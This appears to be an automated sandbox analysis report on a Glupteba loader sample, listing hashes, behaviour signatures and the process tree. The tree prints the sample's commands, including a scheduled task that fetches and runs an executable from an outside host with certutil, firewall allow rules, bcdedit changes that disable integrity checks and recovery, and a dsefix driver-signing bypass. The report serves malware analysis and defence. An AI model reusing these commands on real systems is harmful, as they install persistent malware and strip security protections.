Analysis

  • max time kernel
    144s
  • max time network
    144s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    27-08-2020 02:26

General

  • Target

    SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe

  • Size

    3.8MB

  • MD5

    b6240ec8985bd080a7193f70801b2810

  • SHA1

    75d579b58ab63268d180c055ba040a4752438d05

  • SHA256

    9808a3875c36c7fc105ebba81213f9c108dbf12d65025752013ea2a2763578d6

  • SHA512

    f9c7191b398927a566d81a329507b4236f6e09ff3a2fe8ed8f954c77bdc02165371aaea8ae26354c8f3a464784721e66f9945cdaeb777041c1c7538f743dbe02

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Windows security bypass 2 TTPs
  • Modifies boot configuration data using bcdedit 15 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Loads dropped DLL 4 IoCs
  • Windows security modification 2 TTPs 12 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3908
    • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe
      "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.b6240ec8985bd080.7969.exe"
      2⤵
      • Windows security modification
      • Adds Run key to start application
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1100
      • C:\Windows\System32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\801282dfd0b8\801282dfd0b8.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3392
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\801282dfd0b8\801282dfd0b8.exe" enable=yes
          4⤵
          • Modifies data under HKEY_USERS
          PID:1700
      • C:\Windows\System32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:984
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
            PID:4048
        • C:\Windows\rss\csrss.exe
          C:\Windows\rss\csrss.exe ""
          3⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2544
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
            4⤵
            • Creates scheduled task(s)
            PID:812
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://bbistrovantonbb.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
            4⤵
            • Creates scheduled task(s)
            PID:3608
          • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
            "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:1396
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:408
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3964
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:1588
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3336
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3632
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3640
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3824
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3108
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3896
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3444
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:468
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -timeout 0
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3956
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:2820
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
              5⤵
              • Modifies boot configuration data using bcdedit
              PID:3644
          • C:\Windows\System32\bcdedit.exe
            C:\Windows\Sysnative\bcdedit.exe /v
            4⤵
            • Modifies boot configuration data using bcdedit
            PID:1520
          • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
            C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
            4⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            PID:3064
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s seclogon
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:676

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

      MD5

      d98e78fd57db58a11f880b45bb659767

      SHA1

      ab70c0d3bd9103c07632eeecee9f51d198ed0e76

      SHA256

      414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

      SHA512

      aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

    • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

      MD5

      d98e78fd57db58a11f880b45bb659767

      SHA1

      ab70c0d3bd9103c07632eeecee9f51d198ed0e76

      SHA256

      414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

      SHA512

      aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

      MD5

      13aaafe14eb60d6a718230e82c671d57

      SHA1

      e039dd924d12f264521b8e689426fb7ca95a0a7b

      SHA256

      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

      SHA512

      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    • C:\Windows\rss\csrss.exe

      MD5

      b6240ec8985bd080a7193f70801b2810

      SHA1

      75d579b58ab63268d180c055ba040a4752438d05

      SHA256

      9808a3875c36c7fc105ebba81213f9c108dbf12d65025752013ea2a2763578d6

      SHA512

      f9c7191b398927a566d81a329507b4236f6e09ff3a2fe8ed8f954c77bdc02165371aaea8ae26354c8f3a464784721e66f9945cdaeb777041c1c7538f743dbe02

    • C:\Windows\rss\csrss.exe

      MD5

      b6240ec8985bd080a7193f70801b2810

      SHA1

      75d579b58ab63268d180c055ba040a4752438d05

      SHA256

      9808a3875c36c7fc105ebba81213f9c108dbf12d65025752013ea2a2763578d6

      SHA512

      f9c7191b398927a566d81a329507b4236f6e09ff3a2fe8ed8f954c77bdc02165371aaea8ae26354c8f3a464784721e66f9945cdaeb777041c1c7538f743dbe02

    • \Users\Admin\AppData\Local\Temp\dbghelp.dll

      MD5

      f0616fa8bc54ece07e3107057f74e4db

      SHA1

      b33995c4f9a004b7d806c4bb36040ee844781fca

      SHA256

      6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

      SHA512

      15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

    • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

      MD5

      335ee604bc5976ee83b38f3dddfed723

      SHA1

      2511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac

      SHA256

      8373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f

      SHA512

      87ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee

    • \Users\Admin\AppData\Local\Temp\osloader.exe

      MD5

      78c581e475d59efdebee2d3f4355f03f

      SHA1

      fda6c1f77f772afaa1b44a44c1fb29ee07434d10

      SHA256

      9f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee

      SHA512

      35ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521

    • \Users\Admin\AppData\Local\Temp\symsrv.dll

      MD5

      5c399d34d8dc01741269ff1f1aca7554

      SHA1

      e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

      SHA256

      e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

      SHA512

      8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

    • memory/408-31-0x0000000000000000-mapping.dmp

    • memory/468-41-0x0000000000000000-mapping.dmp

    • memory/812-23-0x0000000000000000-mapping.dmp

    • memory/984-15-0x0000000000000000-mapping.dmp

    • memory/1100-10-0x0000000000400000-0x0000000000B11000-memory.dmp

      Filesize

      7.1MB

    • memory/1100-9-0x0000000008190000-0x0000000008191000-memory.dmp

      Filesize

      4KB

    • memory/1100-7-0x0000000000000000-mapping.dmp

    • memory/1396-25-0x0000000000000000-mapping.dmp

    • memory/1520-45-0x0000000000000000-mapping.dmp

    • memory/1588-33-0x0000000000000000-mapping.dmp

    • memory/1700-14-0x0000000000000000-mapping.dmp

    • memory/2544-17-0x0000000000000000-mapping.dmp

    • memory/2544-21-0x00000000087B0000-0x00000000087B1000-memory.dmp

      Filesize

      4KB

    • memory/2820-43-0x0000000000000000-mapping.dmp

    • memory/3064-46-0x0000000000000000-mapping.dmp

    • memory/3108-38-0x0000000000000000-mapping.dmp

    • memory/3336-34-0x0000000000000000-mapping.dmp

    • memory/3392-13-0x0000000000000000-mapping.dmp

    • memory/3444-40-0x0000000000000000-mapping.dmp

    • memory/3608-24-0x0000000000000000-mapping.dmp

    • memory/3632-35-0x0000000000000000-mapping.dmp

    • memory/3640-36-0x0000000000000000-mapping.dmp

    • memory/3644-44-0x0000000000000000-mapping.dmp

    • memory/3824-37-0x0000000000000000-mapping.dmp

    • memory/3896-39-0x0000000000000000-mapping.dmp

    • memory/3908-1-0x0000000008380000-0x0000000008381000-memory.dmp

      Filesize

      4KB

    • memory/3908-2-0x0000000000400000-0x0000000000B11000-memory.dmp

      Filesize

      7.1MB

    • memory/3956-42-0x0000000000000000-mapping.dmp

    • memory/3964-32-0x0000000000000000-mapping.dmp

    • memory/4048-16-0x0000000000000000-mapping.dmp